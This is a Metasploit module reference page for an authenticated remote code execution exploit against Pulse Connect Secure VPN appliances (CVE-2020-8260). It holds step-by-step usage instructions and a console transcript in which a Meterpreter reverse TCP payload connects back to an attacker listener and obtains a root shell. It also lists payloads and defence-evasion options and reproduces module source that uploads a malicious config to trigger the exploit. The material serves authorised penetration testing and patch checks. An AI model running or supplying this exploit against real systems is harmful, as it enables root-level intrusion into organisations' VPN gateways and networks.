Pulse Secure VPN gzip RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/pulse_secure_gzip_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Pulse Secure VPN gzip RCE
Module: exploit/linux/http/pulse_secure_gzip_rce
Source code: modules/exploits/linux/http/pulse_secure_gzip_rce.rb
Disclosure date: 2020-10-26
Last modification time: 2021-04-12 18:50:31 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-8260
The Pulse Connect Secure appliance before 9.1R9 suffers from
an uncontrolled gzip extraction vulnerability which allows
an attacker to overwrite arbitrary files, resulting in
Remote Code Execution as root. Admin credentials are
required for successful exploitation. Of note, MANY binaries
are not in $PATH, but are located in /home/bin/.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
msf > use exploit/linux/http/pulse_secure_gzip_rce
msf exploit(pulse_secure_gzip_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
The Pulse Connect Secure appliance before 9.1R9 suffers from an uncontrolled gzip extraction vulnerability which allows an authenticated attacker to overwrite arbitrary files, resulting in Remote Code Execution as root. Admin credentials are required for successful exploitation.
NCC Group wrote in their findings a few different ways to achieve RCE through the gzip vulnerability. This exploit utilizes the Template Toolkit method which works up to 9.1R8 (possibly more), whereas the other methods were patched earlier. With this method, since the payload is sent in the perl template, there are also no bad characters.
Of note, MANY binaries are not in $PATH, but are located in /home/bin/. Thanks to @wvu for pointing that out.
Pulse Secure Connect trial can be downloaded here.
Verification Steps
- Install the server
- Start msfconsole
- Do:
use exploit/linux/http/pulse_secure_gzip_rce - Do:
set rhosts [IP] - Do:
set username [username] - Do:
set password [password] - Do:
run - You should get a root shell
Options
cmd
If this option is set, a single command will be run instead of the payload. Defaults to `` (empty)
Scenarios
Pulse Connect Secure 9.1R8 build 7453, Meterpreter Payload
msf6 > use exploit/linux/http/pulse_secure_gzip_rce
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/pulse_secure_gzip_rce) > set RHOSTS 192.168.159.100
RHOSTS => 192.168.159.100
msf6 exploit(linux/http/pulse_secure_gzip_rce) > set USERNAME admin
USERNAME => admin
msf6 exploit(linux/http/pulse_secure_gzip_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 exploit(linux/http/pulse_secure_gzip_rce) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(linux/http/pulse_secure_gzip_rce) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Version 9.1, revision 8, build 7453 found
[+] The target appears to be vulnerable.
[*] Using URL: http://0.0.0.0:8080/m6x4OtFXogsSCK
[*] Local IP: http://192.168.250.87:8080/m6x4OtFXogsSCK
[*] Exploit trigger will be at /dana-na/auth/setcookie.cgi with a header of XLQOBGKB
[*] Requesting backup config page
[*] Uploading encrypted config backup
[*] Triggering RCE
[*] Client 192.168.159.100 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.3) requested /m6x4OtFXogsSCK
[*] Sending payload to 192.168.159.100 (curl/7.19.7 (i686-redhat-linux-gnu) libcurl/7.63.0 OpenSSL/1.0.2n zlib/1.2.3)
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.100:57548) at 2020-12-07 10:52:54 -0500
[*] Command Stager progress - 100.00% done (122/122 bytes)
[*] Logging out to prevent warnings to other admins
[*] Server stopped.
meterpreter > getuid
Server username: root @ localhost2 (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : 192.168.159.100
OS : (Linux 2.6.32-00025-g841d072-dirty)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/pulse_secure_gzip_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/pulse_secure_gzip_rce
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/pulse_secure_gzip_rce) > show info
Name: Pulse Secure VPN gzip RCE
Module: exploit/linux/http/pulse_secure_gzip_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-10-26
Provided by:
h00die
Spencer McIntyre
Richard Warren <[email protected]>
David Cash <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
config-changes
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD 123456 yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the application
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The username to login with
VHOST no HTTP server virtual host
Payload information:
Description:
The Pulse Connect Secure appliance before 9.1R9 suffers from an
uncontrolled gzip extraction vulnerability which allows an attacker
to overwrite arbitrary files, resulting in Remote Code Execution as
root. Admin credentials are required for successful exploitation. Of
note, MANY binaries are not in `$PATH`, but are located in
`/home/bin/`.
References:
https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605
https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601
https://nvd.nist.gov/vuln/detail/CVE-2020-8260
Related modules:
auxiliary/gather/pulse_secure_file_disclosure
Module Options
This is a complete list of options available in the linux/http/pulse_secure_gzip_rce exploit:
msf6 exploit(linux/http/pulse_secure_gzip_rce) > show options
Module options (exploit/linux/http/pulse_secure_gzip_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD 123456 yes The password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The URI of the application
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes The username to login with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/pulse_secure_gzip_rce exploit:
msf6 exploit(linux/http/pulse_secure_gzip_rce) > show advanced
Module advanced options (exploit/linux/http/pulse_secure_gzip_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::DELAY 1.5 yes Delay between command executions
CMDSTAGER::FLAVOR curl no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/pulse_secure_gzip_rce module can exploit:
msf6 exploit(linux/http/pulse_secure_gzip_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix In-Memory
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/pulse_secure_gzip_rce exploit:
msf6 exploit(linux/http/pulse_secure_gzip_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/generic/tight_loop normal No Generic x86 Tight Loop
4 payload/linux/x64/exec normal No Linux Execute Command
5 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
6 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
7 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
8 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
9 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
10 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
11 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
12 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
13 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
14 payload/linux/x86/adduser normal No Linux Add User
15 payload/linux/x86/chmod normal No Linux Chmod
16 payload/linux/x86/exec normal No Linux Execute Command
17 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
18 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
19 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
20 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
21 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
22 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
23 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
24 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
25 payload/linux/x86/read_file normal No Linux Read File
26 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
27 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/pulse_secure_gzip_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/pulse_secure_gzip_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Failed to retrieve the version information
- Failed to retrieve the version information
- File upload failed
- Failed to request the backup configuration page
- Failed to get the xsauth token
- Login failed
- Login failed
- Login failed
- Login failed (missing form elements)
- Login failed
- Logout failed
- Logout failed
- Logout failed
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to retrieve the version information
Here is a relevant code snippet related to the "Failed to retrieve the version information" error message:
84: end
85:
86: def check(exploiting: false)
87: login
88: res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
89: fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
90: version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
91: fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
92: version, build = version
93:
94: return CheckCode::Unknown unless version.include?('R')
Failed to retrieve the version information
Here is a relevant code snippet related to the "Failed to retrieve the version information" error message:
86: def check(exploiting: false)
87: login
88: res = send_request_cgi({ 'uri' => normalize_uri('dana-admin', 'misc', 'admin.cgi') })
89: fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless res&.code == 200
90: version = res.body.scan(%r{id="span_stats_counter_total_users_count"[^>]+>([^<(]+)(?:\(build (\d+)\))?</span>})&.last
91: fail_with(Failure::UnexpectedReply, 'Failed to retrieve the version information') unless version
92: version, build = version
93:
94: return CheckCode::Unknown unless version.include?('R')
95:
96: version, revision = version.split('R', 2)
File upload failed
Here is a relevant code snippet related to the "File upload failed" error message:
132: print_status("Exploit trigger will be at #{normalize_uri('dana-na', 'auth', 'setcookie.cgi')} with a header of #{trigger}")
133:
134: config = build_malicious_config(command, trigger)
135: res = upload_config(config)
136:
137: fail_with(Failure::UnexpectedReply, 'File upload failed') unless res&.code == 200
138:
139: print_status('Triggering RCE')
140: send_request_cgi({
141: 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'setcookie.cgi'),
142: 'headers' => { trigger => trigger }
Failed to request the backup configuration page
Here is a relevant code snippet related to the "Failed to request the backup configuration page" error message:
152: res = send_request_cgi({
153: 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi'),
154: 'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
155: 'vars_get' => { 'type' => 'system' }
156: })
157: fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
158: xsauth = res_get_xsauth(res)
159: fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?
160:
161: post_data = Rex::MIME::Message.new
162: post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
Failed to get the xsauth token
Here is a relevant code snippet related to the "Failed to get the xsauth token" error message:
154: 'headers' => { 'Referer' => "#{full_uri('/dana-admin/cached/config/config.cgi')}?type=system" },
155: 'vars_get' => { 'type' => 'system' }
156: })
157: fail_with(Failure::UnexpectedReply, 'Failed to request the backup configuration page') unless res&.code == 200
158: xsauth = res_get_xsauth(res)
159: fail_with(Failure::UnexpectedReply, 'Failed to get the xsauth token') if xsauth.nil?
160:
161: post_data = Rex::MIME::Message.new
162: post_data.add_part(xsauth, nil, nil, 'form-data; name="xsauth"')
163: post_data.add_part('Import', nil, nil, 'form-data; name="op"')
164: post_data.add_part('system', nil, nil, 'form-data; name="type"')
Login failed
Here is a relevant code snippet related to the "Login failed" error message:
189: 'btnSubmit' => 'Sign In'
190: },
191: 'keep_cookies' => true
192: })
193:
194: fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
195: location = res.headers['Location']
196: fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')
197:
198: return unless location.include?('admin%2Dconfirm')
199:
Login failed
Here is a relevant code snippet related to the "Login failed" error message:
191: 'keep_cookies' => true
192: })
193:
194: fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 302
195: location = res.headers['Location']
196: fail_with(Failure::NoAccess, 'Login failed') if location.include?('failed')
197:
198: return unless location.include?('admin%2Dconfirm')
199:
200: # if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
201: print_status('Other admin sessions detected, continuing')
Login failed
Here is a relevant code snippet related to the "Login failed" error message:
198: return unless location.include?('admin%2Dconfirm')
199:
200: # if the account we login with is already logged in, or another admin is logged in, a warning is displayed. Click through it.
201: print_status('Other admin sessions detected, continuing')
202: res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
203: fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
204: fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
205: xsauth = res_get_xsauth(res)
206: fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth
207:
208: res = send_request_cgi({
Login failed (missing form elements)
Here is a relevant code snippet related to the "Login failed (missing form elements)" error message:
201: print_status('Other admin sessions detected, continuing')
202: res = send_request_cgi({ 'uri' => location, 'keep_cookies' => true })
203: fail_with(Failure::UnexpectedReply, 'Login failed') unless res&.code == 200
204: fds = res.body.scan(/name="FormDataStr" value="([^"]+)">/).last
205: xsauth = res_get_xsauth(res)
206: fail_with(Failure::UnexpectedReply, 'Login failed (missing form elements)') unless fds && xsauth
207:
208: res = send_request_cgi({
209: 'uri' => normalize_uri(target_uri.path, 'dana-na', 'auth', 'url_admin', 'login.cgi'),
210: 'method' => 'POST',
211: 'vars_post' => {
Login failed
Here is a relevant code snippet related to the "Login failed" error message:
213: 'FormDataStr' => fds.first,
214: 'xsauth' => xsauth
215: },
216: 'keep_cookies' => true
217: })
218: fail_with(Failure::UnexpectedReply, 'Login failed') unless res
219: end
220:
221: def logout
222: print_status('Logging out to prevent warnings to other admins')
223: res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
Logout failed
Here is a relevant code snippet related to the "Logout failed" error message:
219: end
220:
221: def logout
222: print_status('Logging out to prevent warnings to other admins')
223: res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
224: fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200
225:
226: logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
227: fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?
228:
229: res = send_request_cgi({ 'uri' => logout_uri })
Logout failed
Here is a relevant code snippet related to the "Logout failed" error message:
222: print_status('Logging out to prevent warnings to other admins')
223: res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'dana-admin', 'cached', 'config', 'config.cgi') })
224: fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 200
225:
226: logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
227: fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?
228:
229: res = send_request_cgi({ 'uri' => logout_uri })
230: fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
231: end
232:
Logout failed
Here is a relevant code snippet related to the "Logout failed" error message:
225:
226: logout_uri = res.body.scan(%r{/dana-na/auth/logout\.cgi\?xsauth=\w+}).first
227: fail_with(Failure::UnexpectedReply, 'Logout failed') if logout_uri.nil?
228:
229: res = send_request_cgi({ 'uri' => logout_uri })
230: fail_with(Failure::UnexpectedReply, 'Logout failed') unless res&.code == 302
231: end
232:
233: def build_malicious_config(cmd, trigger)
234: payload_script = "#{Rex::Text.rand_text_alphanumeric(rand(6..13))}.sh"
235: perl = <<~PERL
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Related Pull Requests
- #15038 Merged Pull Request: Fix Gem::Package NameError with Rex::Tar::Writer (exploit/linux/http/pulse_secure_gzip_rce)
- #14368 Merged Pull Request: Pulse Connect Secure gzip RCE: cve-2020-8260
References
- https://gist.github.com/rxwx/03a036d8982c9a3cead0c053cf334605
- https://research.nccgroup.com/2020/10/26/technical-advisory-pulse-connect-secure-rce-via-uncontrolled-gzip-extraction-cve-2020-8260/
- https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601
- CVE-2020-8260
See Also
Check also the following modules related to this module:
- exploit/linux/http/pulse_secure_cmd_exec
- auxiliary/gather/pulse_secure_file_disclosure
- post/windows/gather/credentials/pulse_secure
- exploit/windows/http/disk_pulse_enterprise_bof
- exploit/windows/http/disk_pulse_enterprise_get
- exploit/linux/http/imperva_securesphere_exec
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/games/ut2004_secure
- exploit/windows/games/ut2004_secure
- exploit/windows/ssh/securecrt_ssh1
- exploit/windows/fileformat/tugzip
- auxiliary/admin/networking/cisco_secure_acs_bypass
- auxiliary/scanner/http/wp_secure_copy_content_protection_sqli
- post/windows/gather/credentials/securecrt
- auxiliary/dos/http/gzip_bomb_dos
Related Nessus plugins:
Authors
- h00die
- Spencer McIntyre
- Richard Warren <[email protected]>
- David Cash <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.
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